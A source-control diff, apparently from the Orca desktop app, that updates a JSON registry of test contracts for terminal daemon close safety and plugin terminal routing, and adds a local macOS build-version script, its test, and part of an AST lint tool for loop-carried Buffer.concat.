"promotionCriteria": [
|
||||
"Collect 100 consecutive CI passes or 14 days of soak history.",
|
||||
"Run a mixed-version load test with at least the incident-scale desktop population.",
|
||||
"Verify production director request rate decays during an injected assignment outage."
|
||||
],
|
||||
"knownGaps": [
|
||||
"No packaged desktop or physical phone was exercised.",
|
||||
"The deterministic seam does not measure production GFE, carrier NAT, DNS, TLS, or Cloud SQL behavior.",
|
||||
"Legacy desktop versions remain dependent on server-side overload protection."
|
||||
],
|
||||
"demotionRule": "Keep experimental or demote if assignment calls overlap, duplicate drain events bypass backoff, Retry-After is ignored, close resurrects work, or mixed-version request rate exceeds the reviewed director budget."
|
||||
},
|
||||
{
|
||||
"id": "git-worktree.refresh-event-semantics",
|
||||
"title": "Index-only Git metadata cannot trigger structural worktree refresh fanout",
|
||||
@@ -1030,47 +1132,77 @@
|
||||
},
|
||||
{
|
||||
"id": "terminal-session.daemon-generation-reconnect-safety",
|
||||
"title": "Reconnect lifecycle echoes cannot kill live daemon-generation terminals",
|
||||
"title": "Negotiated close intent protects live daemon-generation terminals",
|
||||
"maturity": "experimental",
|
||||
"protection": "partial",
|
||||
"owner": "terminal-runtime",
|
||||
"layer": "renderer-runtime-rpc-windows-daemon-contract",
|
||||
"layer": "renderer-runtime-rpc-daemon-contract",
|
||||
"surfaces": [
|
||||
"runtime session reconnect",
|
||||
"legacy daemon adoption",
|
||||
"mixed-version paired viewer close",
|
||||
"terminal lifecycle close",
|
||||
"app relaunch and profile reconnect"
|
||||
],
|
||||
"platforms": ["macos", "linux", "windows"],
|
||||
"providers": ["daemon", "runtime", "ssh", "wsl"],
|
||||
"coveredPlatforms": ["windows"],
|
||||
"coveredPlatforms": ["linux", "macos", "windows"],
|
||||
"coveredProviders": ["daemon", "runtime"],
|
||||
"coverageNotes": "Recorded native Windows evidence covers the v21/v22/v23/v24/v25 named-pipe matrix. The current harness additionally includes the v26 agent-authority boundary while retaining v24 clean-disconnect and v25 startup-ingress coverage; that six-generation Windows rerun remains to be collected. Deterministic host/renderer tests cover old servers, missing liveness, stale publications, reused claims, split parents, authenticated legacy and unattributed intent, cross-profile isolation, remote runtime clients, SSH-provider routing, and WSL boundaries. Docker is unavailable and WSL is not installed on this runner, so live SSH/WSL remain gaps.",
|
||||
"coverageNotes": "Recorded native Windows evidence covers the v21/v22/v23/v24/v25 named-pipe matrix. The deterministic daemon harness covers capable and legacy paired-runtime request shapes against live v25/v26 PTYs in separate worktrees, plus an unrelated control. Host/renderer tests cover old servers, missing liveness, stale publications, reused claims, split parents, explicit user intent, cross-profile isolation, remote runtime clients, SSH-provider routing, and WSL boundaries. A headed host paired to a separate live client, headless serve parity, Linux, SSH, and WSL remain explicit gaps.",
|
||||
"motivatingLinks": [
|
||||
"https://github.com/stablyai/orca/issues/9749",
|
||||
"https://github.com/stablyai/orca/issues/9949",
|
||||
"https://github.com/stablyai/orca/issues/8871",
|
||||
"https://github.com/stablyai/orca/issues/9138",
|
||||
"https://github.com/stablyai/orca/issues/9229"
|
||||
],
|
||||
"invariant": "Reconnect, replay, or lifecycle observations must never kill a live PTY. Destructive close requires explicit user intent; lifecycle close requires the exact observed publication, terminal, environment, and authoritative liveness, never signals a process, and leaves renderer-owned or partial-split retirement to its owner. Missing or incompatible evidence keeps and audits. Legacy daemon hello and warm reattachment remain non-destructive.",
|
||||
"oracle": "Start six isolated native-Windows daemon generations on distinct versioned named pipes, let the production desktop scanner discover v21-v25 from a v26 client, attach live and stale-mirror canaries with exact root/descendant PID-start identities, reconnect and relaunch the production router path, issue repeated desktop and remote-profile lifecycle closes, and require every daemon, root, and descendant to remain alive with zero session-killed events. Unit contracts require unknown/stale/reused/cross-profile claims and live PTYs to refuse without kill or renderer-close calls, old servers to return method_not_found with no destructive fallback, authenticated legacy and explicit user closes to remain destructive, and dead whole-headless state to retire without signalling its retained PTY id.",
|
||||
"invariant": "Reconnect, replay, or lifecycle observations from a viewer that negotiated explicit close intent must never kill a live PTY. A capable reasonless close must keep and republish; a legacy paired viewer must retain current-main behavior because its intentional close and cleanup echo are wire-identical. Lifecycle close requires the exact observed publication, terminal, environment, and authoritative liveness, never signals a process, and leaves renderer-owned or partial-split retirement to its owner. Legacy daemon hello and warm reattachment remain non-destructive.",
|
||||
"oracle": "Start isolated v25 and v26 daemon generations with one capable-viewer PTY and one legacy-viewer PTY per generation in four target worktrees plus an unaddressed control PTY in a fifth worktree. Route them through the production desktop scanner, runtime, RPC dispatcher, renderer-close relay, and daemon router. First issue sequential reasonless closes from an authenticated capable connection and require refusal, snapshot republish, zero shutdown calls, exact process survival, and post-close I/O. Then issue the byte-identical requests without the negotiated capability and require current-main behavior: two ordered immediate shutdowns, session-killed events, and exact root/descendant death, while capable and control PTYs survive. An observer lists all targets before, between, and after while issuing zero closes. Unit contracts also require in-process reasonless refusal, legacy runtime/mobile compatibility, explicit user closes, encrypted client-auth advertisement, and old-server lifecycle calls never to fall back.",
|
||||
"commands": [
|
||||
"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/orca-runtime.test.ts src/main/runtime/rpc/methods/session-tabs.test.ts src/main/runtime/rpc/methods/session-tabs-schemas.test.ts src/renderer/src/runtime/web-runtime-session.test.ts src/renderer/src/runtime/web-session-close-intent.test.ts src/renderer/src/runtime/web-session-tabs-sync.test.ts src/renderer/src/components/terminal/terminal-tab-actions.test.ts src/renderer/src/components/terminal/terminal-close-incarnation.test.ts src/renderer/src/components/terminal-pane/terminal-parked-tab-watchers.test.ts",
|
||||
"pnpm exec playwright test tests/e2e/daemon-generation-reconnect-safety.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1"
|
||||
"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/orca-runtime.test.ts src/main/runtime/remote-runtime-request-connection.integration.test.ts src/main/runtime/rpc/methods/session-tabs.test.ts src/main/runtime/rpc/methods/session-tabs-schemas.test.ts src/main/runtime/rpc/e2ee-channel.test.ts src/main/runtime/rpc/e2ee-channel-v2.test.ts src/main/runtime/rpc/mobile-socket-wiring.test.ts src/main/runtime/rpc/runtime-client-capabilities.test.ts src/shared/remote-runtime-client.test.ts src/shared/remote-runtime-request-connection.test.ts src/shared/remote-runtime-shared-control-connection.test.ts src/cli/runtime/websocket-transport.test.ts src/renderer/src/web/web-runtime-client.test.ts src/renderer/src/runtime/web-runtime-session.test.ts src/renderer/src/runtime/web-session-close-intent.test.ts src/renderer/src/runtime/web-session-tabs-sync.test.ts src/renderer/src/components/terminal/terminal-tab-actions.test.ts src/renderer/src/components/terminal/terminal-close-incarnation.test.ts src/renderer/src/components/terminal-pane/terminal-parked-tab-watchers.test.ts",
|
||||
"pnpm exec playwright test tests/e2e/daemon-generation-reconnect-safety.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1",
|
||||
"pnpm exec playwright test tests/e2e/daemon-generation-legacy-close-safety.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1"
|
||||
],
|
||||
"testFiles": [
|
||||
"src/main/runtime/orca-runtime.test.ts",
|
||||
"src/main/runtime/remote-runtime-request-connection.integration.test.ts",
|
||||
"src/main/runtime/rpc/methods/session-tabs.test.ts",
|
||||
"src/main/runtime/rpc/methods/session-tabs-schemas.test.ts",
|
||||
"src/main/runtime/rpc/e2ee-channel.test.ts",
|
||||
"src/main/runtime/rpc/e2ee-channel-v2.test.ts",
|
||||
"src/main/runtime/rpc/mobile-socket-wiring.test.ts",
|
||||
"src/main/runtime/rpc/runtime-client-capabilities.test.ts",
|
||||
"src/shared/remote-runtime-client.test.ts",
|
||||
"src/shared/remote-runtime-request-connection.test.ts",
|
||||
"src/shared/remote-runtime-shared-control-connection.test.ts",
|
||||
"src/cli/runtime/websocket-transport.test.ts",
|
||||
"src/renderer/src/web/web-runtime-client.test.ts",
|
||||
"src/renderer/src/runtime/web-runtime-session.test.ts",
|
||||
"src/renderer/src/runtime/web-session-close-intent.test.ts",
|
||||
"src/renderer/src/runtime/web-session-tabs-sync.test.ts",
|
||||
"src/renderer/src/components/terminal/terminal-tab-actions.test.ts",
|
||||
"src/renderer/src/components/terminal/terminal-close-incarnation.test.ts",
|
||||
"src/renderer/src/components/terminal-pane/terminal-parked-tab-watchers.test.ts",
|
||||
"tests/e2e/daemon-generation-reconnect-safety.spec.ts"
|
||||
"tests/e2e/daemon-generation-reconnect-safety.spec.ts",
|
||||
"tests/e2e/daemon-generation-legacy-close-safety.spec.ts"
|
||||
],
|
||||
"assertionRefs": [
|
||||
{
|
||||
"file": "src/main/runtime/remote-runtime-request-connection.integration.test.ts",
|
||||
"assertions": [
|
||||
"the real encrypted WebSocket handshake binds close-intent capability through authenticated socket state and RPC context to reasonless-close refusal"
|
||||
]
|
||||
},
|
||||
{
|
||||
"file": "tests/e2e/daemon-generation-legacy-close-safety.spec.ts",
|
||||
"assertions": [
|
||||
"one identified capable viewer and one legacy viewer issue byte-identical sequential reasonless closes while a third viewer lists every target before, between, and after but issues zero closes",
|
||||
"capable v25/v26 PTY root/descendant incarnations in separate worktrees survive, answer post-close input, and produce zero shutdown calls and zero daemon session-killed events",
|
||||
"legacy v25/v26 PTY root/descendant incarnations die through ordered immediate shutdown calls with one daemon session-killed event each, matching current-main behavior",
|
||||
"an unaddressed fifth-worktree PTY root and descendant survive with zero kill events, excluding global fanout",
|
||||
"the JSON reconstruction records request order, negotiated capabilities, viewer connection, worktree/tab/PTY ids, daemon PID/protocol, call site, and exact before/after process liveness"
|
||||
]
|
||||
},
|
||||
{
|
||||
"file": "tests/e2e/daemon-generation-reconnect-safety.spec.ts",
|
||||
"assertions": [
|
||||
@@ -1079,12 +1211,71 @@
|
||||
"shutdown-dispose-failed drops named-pipe authority within the deadline and exact fixture cleanup leaves no process tree"
|
||||
]
|
||||
},
|
||||
{
|
||||
"file": "src/main/runtime/rpc/mobile-socket-wiring.test.ts",
|
||||
"assertions": [
|
||||
"the optional client capability is captured from legacy encrypted authentication and bound to the authenticated runtime-scoped socket identity"
|
||||
]
|
||||
},
|
||||
{
|
||||
"file": "src/main/runtime/rpc/e2ee-channel.test.ts",
|
||||
"assertions": [
|
||||
"runtime capabilities are accepted only from encrypted authentication metadata, not the unauthenticated hello"
|
||||
]
|
||||
},
|
||||
{
|
||||
"file": "src/main/runtime/rpc/e2ee-channel-v2.test.ts",
|
||||
"assertions": [
|
||||
"mobile E2EE v2 continues to reject additive runtime capability metadata"
|
||||
]
|
||||
},
|
||||
{
|
||||
"file": "src/main/runtime/rpc/runtime-client-capabilities.test.ts",
|
||||
"assertions": [
|
||||
"the authenticated capability parser accepts only bounded string arrays and rejects malformed or oversized input"
|
||||
]
|
||||
},
|
||||
{
|
||||
"file": "src/shared/remote-runtime-client.test.ts",
|
||||
"assertions": [
|
||||
"one-shot and subscription runtime clients remain compatible while sending encrypted client authentication"
|
||||
]
|
||||
},
|
||||
{
|
||||
"file": "src/shared/remote-runtime-request-connection.test.ts",
|
||||
"assertions": [
|
||||
"the cached paired-desktop request connection advertises close-intent support in encrypted authentication while reusing one socket"
|
||||
]
|
||||
},
|
||||
{
|
||||
"file": "src/shared/remote-runtime-shared-control-connection.test.ts",
|
||||
"assertions": [
|
||||
"the reconnecting shared-control client advertises close-intent support in encrypted authentication"
|
||||
]
|
||||
},
|
||||
{
|
||||
"file": "src/cli/runtime/websocket-transport.test.ts",
|
||||
"assertions": [
|
||||
"updated paired runtime clients advertise close-intent support in encrypted auth fields ignored by legacy servers"
|
||||
]
|
||||
},
|
||||
{
|
||||
"file": "src/renderer/src/web/web-runtime-client.test.ts",
|
||||
"assertions": [
|
||||
"the browser paired-runtime client advertises close-intent support inside encrypted authentication"
|
||||
]
|
||||
},
|
||||
{
|
||||
"file": "src/main/runtime/orca-runtime.test.ts",
|
||||
"assertions": [
|
||||
"live, unknown, stale, missing-intent, non-owner, and inventory-proven but not yet pane-bound lifecycle closes invoke neither PTY kill nor renderer close",
|
||||
"dead whole-headless retirement removes stale state without signalling a retained PTY id",
|
||||
"explicit and authenticated legacy user closes remain destructive"
|
||||
"dead whole-headless retirement removes stale state without signalling a retained PTY id"
|
||||
]
|
||||
},
|
||||
{
|
||||
"file": "src/main/runtime/rpc/methods/session-tabs.test.ts",
|
||||
"assertions": [
|
||||
"in-process and capable-runtime reasonless closes refuse while legacy runtime/mobile and explicit current user closes retain current-main destructive semantics"
|
||||
]
|
||||
},
|
||||
{
|
||||
@@ -1108,6 +1299,15 @@
|
||||
}
|
||||
],
|
||||
"evidenceRuns": [
|
||||
{
|
||||
"date": "2026-07-27",
|
||||
"runner": "ci",
|
||||
"platform": "linux",
|
||||
"command": "pnpm exec playwright test tests/e2e/daemon-generation-legacy-close-safety.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1",
|
||||
"result": "passed",
|
||||
"durationSeconds": 5.1,
|
||||
"summary": "Current-head capability-gated oracle passed in E2E run https://github.com/stablyai/orca/actions/runs/30250731941/job/89928386794: capable v25/v26 roots and descendants survived with snapshot republish and post-close I/O, byte-identical legacy closes retained current-main shutdown behavior, and the unrelated fifth-worktree control survived."
|
||||
},
|
||||
{
|
||||
"date": "2026-07-21",
|
||||
"runner": "local",
|
||||
@@ -1120,7 +1320,7 @@
|
||||
],
|
||||
"runtimeBudget": {
|
||||
"p95Seconds": 180,
|
||||
"scope": "isolated native-Windows five-generation production discovery/reconnect/relaunch plus bounded disposal failure and fresh E2E build"
|
||||
"scope": "isolated native-Windows generation reconnect plus two-generation mixed-version close adjudication and fresh E2E build"
|
||||
},
|
||||
"flakeHistory": {
|
||||
"status": "unknown",
|
||||
@@ -1128,11 +1328,11 @@
|
||||
},
|
||||
"redGreenEvidence": {
|
||||
"status": "complete",
|
||||
"evidence": "The pre-fix native run kept daemon/client processes alive but emitted repeated real session-killed events in v21/v22/v23 and terminated every stale-mirror root and descendant. The fixed production-scanner run preserves every exact v21/v22/v23/v24/v25 process incarnation with zero kill events."
|
||||
"evidence": "Current main and PR #10013 route both reasonless viewer sequences to immediate shutdown, while the prior global-refusal candidate incorrectly preserves the legacy sequence. The capability-gated candidate passed the combined GitHub oracle: capable v25/v26 PTYs survive and answer input, legacy PTYs retain current-main shutdown behavior, and the unrelated control survives. Existing Windows red/green evidence separately covers evidence-bearing lifecycle closes."
|
||||
},
|
||||
"performanceBudget": {
|
||||
"required": true,
|
||||
"evidence": "Production adds no polling, subprocess, PowerShell/CIM, or process-per-session work. Concurrent lifecycle closes share one bounded host controller inventory, scan only addressed parent leaves, and reuse the environment/worktree client snapshot deduper. Test-only Windows inventory is capped at 5 seconds and 8 MiB per query; all waits and cleanup are bounded."
|
||||
"evidence": "Production adds one bounded client-capability parse during the authenticated connection handshake and one constant-time membership branch per close. It adds no polling, subprocess, provider listing, retry, timer, or process-per-session work. Refusal reuses the existing single-worktree snapshot republish. Test-only inventory and cleanup are bounded."
|
||||
},
|
||||
"promotionCriteria": [
|
||||
"Collect 100 clean native-Windows runs over 14 days with zero unexplained flakes.",
|
||||
@@ -1140,8 +1340,9 @@
|
||||
"Add live Linux SSH-relay and Windows WSL reconnect artifacts without weakening keep-on-unknown."
|
||||
],
|
||||
"knownGaps": [
|
||||
"The strongest proof is Electron-as-Node over native Windows, not a packaged UI-driven update journey.",
|
||||
"Live macOS/Linux adoption and Linux SSH relay are not exercised because Docker is unavailable; Windows WSL reconnect is not exercised because WSL is not installed.",
|
||||
"The strongest proof is Electron-as-Node over real daemon PTYs, not a packaged headed Orca host paired to a separate old client; that is the primary live E2E still required.",
|
||||
"Headless orca serve parity, live Linux, Linux SSH relay, and Windows WSL reconnect are not exercised; Docker SSH would cover only the SSH provider and cannot substitute for paired Orca-server evidence.",
|
||||
"A topology containing any pre-contract paired desktop viewer remains vulnerable to that viewer's stale reasonless close storm; preserving its intentional-close behavior makes this unavoidable until the viewer upgrades.",
|
||||
"Cross-profile daemon inventory and generation handoff/retirement remain the separate #9138/#9229 design.",
|
||||
"A dead split leaf stays with its authoritative owner rather than being remotely pruned."
|
||||
],
|
||||
@@ -6570,6 +6771,112 @@
|
||||
"Windows native runtime watches bypass this child path; WSL reservation/release is deterministic-contract tested but not live fault-injected, and SSH registration ownership is not live-relay fault-injected."
|
||||
],
|
||||
"demotionRule": "Demote or quarantine if the fault harness flakes without a product or harness bug, if healthy operation exceeds one runtime watcher child, if total physical operation exceeds eight children including retiring generations, if quarantine children outlive their roots or repeat after fusing, if event delivery becomes unbounded, or if metadata/stat work returns to the serve process."
|
||||
},
|
||||
{
|
||||
"id": "terminal-input.plugin-explicit-worktree-routing",
|
||||
"title": "Plugin terminal input stays inside the freshly resolved worktree",
|
||||
"maturity": "experimental",
|
||||
"protection": "partial",
|
||||
"owner": "plugin-platform",
|
||||
"layer": "main-relay-contract",
|
||||
"surfaces": [
|
||||
"plugin host API terminal input",
|
||||
"active worktree resolution",
|
||||
"provider terminal inventory",
|
||||
"relay capability enforcement"
|
||||
],
|
||||
"platforms": [
|
||||
"macos",
|
||||
"linux",
|
||||
"windows"
|
||||
],
|
||||
"providers": [
|
||||
"local",
|
||||
"daemon",
|
||||
"ssh",
|
||||
"wsl",
|
||||
"remote-runtime",
|
||||
"mobile-relay"
|
||||
],
|
||||
"coveredPlatforms": [
|
||||
"macos"
|
||||
],
|
||||
"coveredProviders": [
|
||||
"local",
|
||||
"ssh"
|
||||
],
|
||||
"coverageNotes": "Deterministic macOS contract evidence covers opaque local- and SSH-shaped terminal ids, one bounded worktree listing, mismatch rejection, and the main/relay host-call adapter matrix. It does not launch a live PTY or provision a relay-hosted plugin.",
|
||||
"motivatingLinks": [
|
||||
"https://github.com/stablyai/orca/pull/8549"
|
||||
],
|
||||
"invariant": "terminal.sendText accepts only an explicit provider-owned terminal id present in one bounded inventory of the worktree resolved immediately before the send; an absent id causes zero send calls, and relay callers cannot supply their own capability grants or transport classification.",
|
||||
"oracle": "Resolve the active worktree once, list that worktree with the v0 terminal cap once, and assert zero sendTerminal calls for a mismatched opaque id versus exactly one send for matching local- and SSH-shaped ids; then run the same permission and schema cases through desktop-main and registered relay panel/worker adapters and compare error codes.",
|
||||
"commands": [
|
||||
"pnpm exec vitest run --config config/vitest.config.ts src/main/plugins/plugin-host-methods.test.ts src/main/plugins/plugin-host-conformance.test.ts"
|
||||
],
|
||||
"testFiles": [
|
||||
"src/main/plugins/plugin-host-methods.test.ts",
|
||||
"src/main/plugins/plugin-host-conformance.test.ts"
|
||||
],
|
||||
"assertionRefs": [
|
||||
{
|
||||
"file": "src/main/plugins/plugin-host-methods.test.ts",
|
||||
"assertions": [
|
||||
"a terminal outside the freshly resolved worktree performs one capped list and zero sends",
|
||||
"matching local- and SSH-shaped opaque ids each perform one capped list and one exact send",
|
||||
"workspace.readContext drops provider paths, path-bearing internal worktree ids, and terminal titles while capping its terminal projection"
|
||||
]
|
||||
},
|
||||
{
|
||||
"file": "src/main/plugins/plugin-host-conformance.test.ts",
|
||||
"assertions": [
|
||||
"all 13 v0 methods succeed with the required consented capability through desktop-main and relay adapters",
|
||||
"missing consent, missing capability, unknown method, malformed params, panel-forbidden access, malformed results, and mutation-audit failure return identical codes",
|
||||
"malformed qualified keys, client-supplied grants, and client-supplied transport flags are rejected before host policy resolution"
|
||||
]
|
||||
}
|
||||
],
|
||||
"evidenceRuns": [
|
||||
{
|
||||
"date": "2026-07-10",
|
||||
"runner": "local",
|
||||
"platform": "macos",
|
||||
"command": "pnpm exec vitest run --config config/vitest.config.ts src/main/plugins/plugin-host-methods.test.ts src/main/plugins/plugin-host-conformance.test.ts",
|
||||
"result": "passed",
|
||||
"durationSeconds": 0.18,
|
||||
"summary": "2 files and 17 tests passed, covering the 13-method main/relay conformance matrix and exact terminal routing call counts."
|
||||
}
|
||||
],
|
||||
"runtimeBudget": {
|
||||
"p95Seconds": 10,
|
||||
"scope": "plugin host main/relay contract tests"
|
||||
},
|
||||
"flakeHistory": {
|
||||
"status": "unknown",
|
||||
"evidence": "The deterministic focused suite passed locally once and needs CI and soak history before promotion."
|
||||
},
|
||||
"redGreenEvidence": {
|
||||
"status": "partial",
|
||||
"evidence": "Exact mismatch/send counts and adapter error parity are asserted; intentional-break and saved CI evidence are still missing."
|
||||
},
|
||||
"performanceBudget": {
|
||||
"required": true,
|
||||
"evidence": "Each plugin send resolves once, performs exactly one list capped at 50 terminals, and performs at most one send. The path adds no polling, subprocesses, provider fanout, renderer work, or startup await."
|
||||
},
|
||||
"promotionCriteria": [
|
||||
"Run for at least 100 consecutive passes or 14 days across required CI platforms.",
|
||||
"Attach intentional-break evidence for the worktree membership check and relay transport binding.",
|
||||
"Exercise live local and SSH provider terminals, including mismatch rejection and successful input echo.",
|
||||
"Keep relay-hosted plugin provisioning behind a separate reviewed policy before replacing the fail-closed registration."
|
||||
],
|
||||
"knownGaps": [
|
||||
"Linux and Windows execution evidence is not recorded.",
|
||||
"Daemon, WSL, remote-runtime, and mobile-relay providers have no live input evidence.",
|
||||
"Local and SSH coverage is contract-level over opaque ids, not a live PTY input/echo run.",
|
||||
"The bounded 50-terminal inventory intentionally rejects a target not present in the capped result; scale behavior above that cap needs a targeted membership API before expansion.",
|
||||
"Relay-hosted plugin provisioning, consent persistence, workers, and audit services remain out of scope and the relay registration therefore denies every provisioned identity by default."
|
||||
],
|
||||
"demotionRule": "Keep experimental or demote to protection none if the suite flakes, permits a mismatched terminal send, performs more than one inventory list per call, accepts client-supplied grants, or relay and desktop error codes diverge."
|
||||
}
|
||||
]
|
||||
}
|
||||
|
||||
@@ -0,0 +1,46 @@
|
||||
import { execFileSync } from 'node:child_process'
|
||||
import { readFileSync } from 'node:fs'
|
||||
import { resolve } from 'node:path'
|
||||
|
||||
export function createLocalBuildVersion(baseVersion, timestamp, commit) {
|
||||
if (!/^\d+\.\d+\.\d+(?:-[0-9A-Za-z.-]+)?$/.test(baseVersion)) {
|
||||
throw new Error(`Package version is not valid semver: ${baseVersion}`)
|
||||
}
|
||||
if (!Number.isSafeInteger(timestamp) || timestamp <= 0) {
|
||||
throw new Error('Local build timestamp is invalid.')
|
||||
}
|
||||
const sanitizedCommit = commit.replace(/[^0-9A-Za-z-]/g, '').slice(0, 12)
|
||||
if (!sanitizedCommit) {
|
||||
throw new Error('Git commit identity is empty.')
|
||||
}
|
||||
const suffix = `local.${timestamp}.${sanitizedCommit}`
|
||||
return baseVersion.includes('-') ? `${baseVersion}.${suffix}` : `${baseVersion}-${suffix}`
|
||||
}
|
||||
|
||||
export function getLocalBuildIdentity() {
|
||||
const packageJson = JSON.parse(readFileSync(resolve('package.json'), 'utf8'))
|
||||
const commit = execFileSync('git', ['rev-parse', '--short=12', 'HEAD'], {
|
||||
encoding: 'utf8'
|
||||
}).trim()
|
||||
return {
|
||||
commit,
|
||||
version: createLocalBuildVersion(packageJson.version, Date.now(), commit)
|
||||
}
|
||||
}
|
||||
|
||||
if (process.argv[1] && resolve(process.argv[1]) === resolve(import.meta.filename)) {
|
||||
const identity = getLocalBuildIdentity()
|
||||
console.log(`[build:mac] local update version ${identity.version}`)
|
||||
execFileSync(
|
||||
process.platform === 'win32' ? 'pnpm.cmd' : 'pnpm',
|
||||
['exec', 'electron-builder', '--config', 'config/electron-builder.config.cjs', '--mac'],
|
||||
{
|
||||
env: {
|
||||
...process.env,
|
||||
ORCA_BUILD_COMMIT: identity.commit,
|
||||
ORCA_LOCAL_BUILD_VERSION: identity.version
|
||||
},
|
||||
stdio: 'inherit'
|
||||
}
|
||||
)
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
import { describe, expect, it } from 'vitest'
|
||||
import { createLocalBuildVersion } from './build-mac-local.mjs'
|
||||
|
||||
describe('createLocalBuildVersion', () => {
|
||||
it('creates unique valid prerelease versions without changing the release base', () => {
|
||||
expect(createLocalBuildVersion('1.4.159-rc.0', 123456, 'abc123')).toBe(
|
||||
'1.4.159-rc.0.local.123456.abc123'
|
||||
)
|
||||
expect(createLocalBuildVersion('1.4.159', 123456, 'abc123')).toBe('1.4.159-local.123456.abc123')
|
||||
})
|
||||
|
||||
it('sanitizes commit identifiers', () => {
|
||||
expect(createLocalBuildVersion('1.0.0', 1, 'abc/def')).toBe('1.0.0-local.1.abcdef')
|
||||
})
|
||||
})
|
||||
@@ -0,0 +1,343 @@
|
||||
import fs from 'node:fs/promises'
|
||||
import path from 'node:path'
|
||||
import { pathToFileURL } from 'node:url'
|
||||
import process from 'node:process'
|
||||
|
||||
// TypeScript 7 is a native CLI; AST consumers still need the legacy JavaScript API.
|
||||
import ts from 'typescript-api'
|
||||
|
||||
const SOURCE_EXTENSIONS = new Set(['.ts', '.tsx', '.js', '.jsx', '.mjs', '.mts', '.cts'])
|
||||
const SKIP_PATH_PARTS = new Set(['node_modules', 'dist', 'out', '.git', '__snapshots__'])
|
||||
const SCAN_ROOTS = ['src', 'config/scripts', 'tools', 'tests', 'mobile']
|
||||
|
||||
const LOOP_KINDS = new Set([
|
||||
ts.SyntaxKind.ForStatement,
|
||||
ts.SyntaxKind.ForInStatement,
|
||||
ts.SyntaxKind.ForOfStatement,
|
||||
ts.SyntaxKind.WhileStatement,
|
||||
ts.SyntaxKind.DoStatement
|
||||
])
|
||||
|
||||
const ASSIGNMENT_OPERATORS = new Set([
|
||||
ts.SyntaxKind.EqualsToken,
|
||||
ts.SyntaxKind.PlusEqualsToken,
|
||||
ts.SyntaxKind.QuestionQuestionEqualsToken,
|
||||
ts.SyntaxKind.BarBarEqualsToken,
|
||||
ts.SyntaxKind.AmpersandAmpersandEqualsToken
|
||||
])
|
||||
|
||||
function normalizeReferenceText(text) {
|
||||
return text.replaceAll(/\s+/g, '')
|
||||
}
|
||||
|
||||
// The variable a member/call chain ultimately reads, so `carry.subarray(0, n)`
|
||||
// still resolves to `carry`. `this.x` stops at the property: the class field is
|
||||
// the accumulator.
|
||||
function rootReferenceText(node) {
|
||||
if (ts.isIdentifier(node)) {
|
||||
return node.text
|
||||
}
|
||||
if (ts.isPropertyAccessExpression(node)) {
|
||||
return node.expression.kind === ts.SyntaxKind.ThisKeyword
|
||||
? normalizeReferenceText(node.getText())
|
||||
: rootReferenceText(node.expression)
|
||||
}
|
||||
if (
|
||||
ts.isElementAccessExpression(node) ||
|
||||
ts.isCallExpression(node) ||
|
||||
ts.isNonNullExpression(node) ||
|
||||
ts.isParenthesizedExpression(node) ||
|
||||
ts.isAsExpression(node)
|
||||
) {
|
||||
return rootReferenceText(node.expression)
|
||||
}
|
||||
return undefined
|
||||
}
|
||||
|
||||
function isBufferConcatCall(node) {
|
||||
return (
|
||||
ts.isCallExpression(node) &&
|
||||
ts.isPropertyAccessExpression(node.expression) &&
|
||||
node.expression.name.text === 'concat' &&
|
||||
ts.isIdentifier(node.expression.expression) &&
|
||||
node.expression.expression.text === 'Buffer' &&
|
||||
node.arguments.length > 0 &&
|
||||
ts.isArrayLiteralExpression(node.arguments[0])
|
||||
)
|
||||
}
|
||||
|
||||
function enclosingLoop(node) {
|
||||
for (let current = node.parent; current; current = current.parent) {
|
||||
if (LOOP_KINDS.has(current.kind)) {
|
||||
return current
|
||||
}
|
||||
}
|
||||
return undefined
|
||||
}
|
||||
|
||||
// A `for (let acc = ...; ;)` binding is loop-carried even though it sits inside
|
||||
// the loop node, so the initializer does not count as loop-local.
|
||||
function isDeclaredInsideLoop(declarationStart, loop) {
|
||||
if (declarationStart < loop.getStart() || declarationStart >= loop.end) {
|
||||
return false
|
||||
}
|
||||
const initializer = ts.isForStatement(loop) ? loop.initializer : undefined
|
||||
if (!initializer) {
|
||||
return true
|
||||
}
|
||||
return declarationStart < initializer.getStart() || declarationStart >= initializer.end
|
||||
}
|
||||
|
||||
function collectBindingNames(name, into) {
|
||||
if (ts.isIdentifier(name)) {
|
||||
into.push(name)
|
||||
return
|
||||
}
|
||||
if (ts.isObjectBindingPattern(name) || ts.isArrayBindingPattern(name)) {
|
||||
for (const element of name.elements) {
|
||||
if (ts.isBindingElement(element)) {
|
||||
collectBindingNames(element.name, into)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function collectDeclarations(sourceFile) {
|
||||
const declarations = new Map()
|
||||
const record = (identifier, node) => {
|
||||
const existing = declarations.get(identifier.text)
|
||||
const start = node.getStart(sourceFile)
|
||||
if (existing) {
|
||||
existing.push(start)
|
||||
} else {
|
||||
declarations.set(identifier.text, [start])
|
||||
}
|
||||
}
|
||||
|
||||
const visit = (node) => {
|
||||
if (ts.isVariableDeclaration(node) || ts.isParameter(node)) {
|
||||
const names = []
|
||||
collectBindingNames(node.name, names)
|
||||
for (const identifier of names) {
|
||||
record(identifier, node)
|
||||
}
|
||||
}
|
||||
ts.forEachChild(node, visit)
|
||||
}
|
||||
|
||||
visit(sourceFile)
|
||||
return declarations
|
||||
}
|
||||
|
||||
function collectAssignedRoots(loop) {
|
||||
const assigned = new Set()
|
||||
const visit = (node) => {
|
||||
if (ts.isBinaryExpression(node) && ASSIGNMENT_OPERATORS.has(node.operatorToken.kind)) {
|
||||
const root = rootReferenceText(node.left)
|
||||
if (root) {
|
||||
assigned.add(root)
|
||||
}
|
||||
}
|
||||
ts.forEachChild(node, visit)
|
||||
}
|
||||
visit(loop.statement)
|
||||
return assigned
|
||||
}
|
||||
|
||||
// Unwrap the wrappers a concat result passes through before it lands on the
|
||||
// left-hand side, so `acc = cond ? Buffer.concat([acc, c]) : c` still counts.
|
||||
function assignmentTargetOf(call) {
|
||||
let node = call
|
||||
let parent = node.parent
|
||||
while (
|
||||
parent &&
|
||||
(ts.isParenthesizedExpression(parent) ||
|
||||
ts.isAsExpression(parent) ||
|
||||
ts.isNonNullExpression(parent) ||
|
||||
(ts.isConditionalExpression(parent) && parent.condition !== node))
|
||||
) {
|
||||
node = parent
|
||||
parent = parent.parent
|
||||
}
|
||||
if (
|
||||
